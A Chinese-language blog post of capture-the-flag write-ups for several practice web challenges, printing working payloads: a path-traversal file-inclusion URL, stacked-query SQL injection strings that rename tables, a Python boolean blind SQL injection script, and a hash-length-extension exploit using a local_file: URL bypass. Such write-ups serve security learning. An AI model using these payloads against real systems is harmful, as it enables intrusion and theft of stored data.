Warmup

进去后查看网页源代码,发现source.php,打开得到源码。审计源码,不会做QAQ。感觉urldecode可以搞事情。打开谷歌,查找资料,找到了这个: phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613

构造payload:

http://web5.buuoj.cn/source.php?file=hint.php%253f../../../../../../ffffllllaaaagggg

得到flag。

随便注

这道题是国赛中写过的题目。上次忘记写wp了,这次就当复现了。
注入,简单测试,发现select被ban了。用分号隔开来执行多条语句:

/?inject=1%27;show%20databases%23

成功查出数据库库名。接着查表:

/?inject=1%27;use%20supersqli;show%20tables%23

查列:

/?inject=1%27;use%20supersqli;show%20tables;show%20columns%20from%20words%23

/?inject=1%27;use%20supersqli;show%20tables;show%20columns%20from`1919810931114514`%23

发现那一串数字的列里面有flag。不能用select如何查字段呢?

整理一下逻辑:后端从words表里面取出我们输入所对应的语句,那么可以通过这里来取出我们想要的flag。

简单测试一下,如果没有id字段会直接报错,于是要把所有语句都放在一起。Payload如下:

/?inject=1%27;use%20supersqli;show%20tables;ALTER%20TABLE%20words%20RENAME%20TO%20row;ALTER%20TABLE`1919810931114514`RENAME%20TO%20words;alter%20table%20words%20add%20id%20int(4)%23

接着在最开始的界面中注入得到flag:

http://web16.buuoj.cn/?inject=1%27+or+1%3D1%23

admin

hctf_flask-master.zip

这题我在测试的时候让它报错了……然后直接拿到了一个 Python 的沙盒……然后就任意代码执行拿到 flag 了……

大佬的 writeup :

https://www.anquanke.com/post/id/164086#h2-0

Hack World

基于布尔的盲注。简单测试了一下发现过滤了空格和*,那就用 TAB 来代替。

上脚本:

import requests
import string

flag = ""
url = "http://web43.buuoj.cn/index.php"
characters = string.ascii_letters + string.digits + string.punctuation

for i in range(1, 268):
    next_pos = False

    for j in characters:
        payload = "id=0^(ascii(substr((select(flag)from\tflag),{0},1))={1})".format(i, ord(j))
        data = {"id": payload}
        #print (data)
        response = requests.post(url, data=data)

        if "Hello, glzjin wants a girlfriend." in response.text:
            next_pos = True
            flag += j
            break
        
    print (flag)

    if (next_pos == False):
        break

print (flag)

piapiapia

https://blog.domineto.top/CTF/619.html

[De1CTF 2019]SSRF Me

delta_2019_web_ssrfme-master.zip

进去之后直接给了源码。题目提示了flag在 ./flag.txt 这个文件里面,于是想到 LFI。寻找可以进行 LFI 的地方,在scan 函数中找到了 urlopen 这个函数。urlopen 可以通过 file:// 流来进行读取本地文件。向上回溯,这里有两个地方需要绕过:

  1. action 中需要包含 read 字符串,这里有一个加盐MD5需要绕过。
  2. 题目的 waf 过滤了 gopherfile 关键字

第一个地方盐加在字符串的前面,且盐的长度已知,所以可以通过哈希长度扩展攻击来绕过。

第二个地方可以用 CVE-2019-9948 绕过。将 file 改为 local_file 即可绕过。

exp

#encoding: utf-8
import hashpumpy
import requests
import urllib

url = "http://139.180.128.86/"
payload = "local_file:flag.txt"

r = requests.get(url + "geneSign", params = {"param": payload})
row_sign = r.text
sign = hashpumpy.hashpump(row_sign, payload + "scan", "read", 16)

r = requests.get(url + "De1ta", params = {"param": payload}, cookies = {
    "sign": sign[0],
    "action":  urllib.quote(sign[1][len(payload):])
})

print (r.text)
Last modification:August 19th, 2019 at 04:06 pm
If you think my article is useful to you, please feel free to appreciate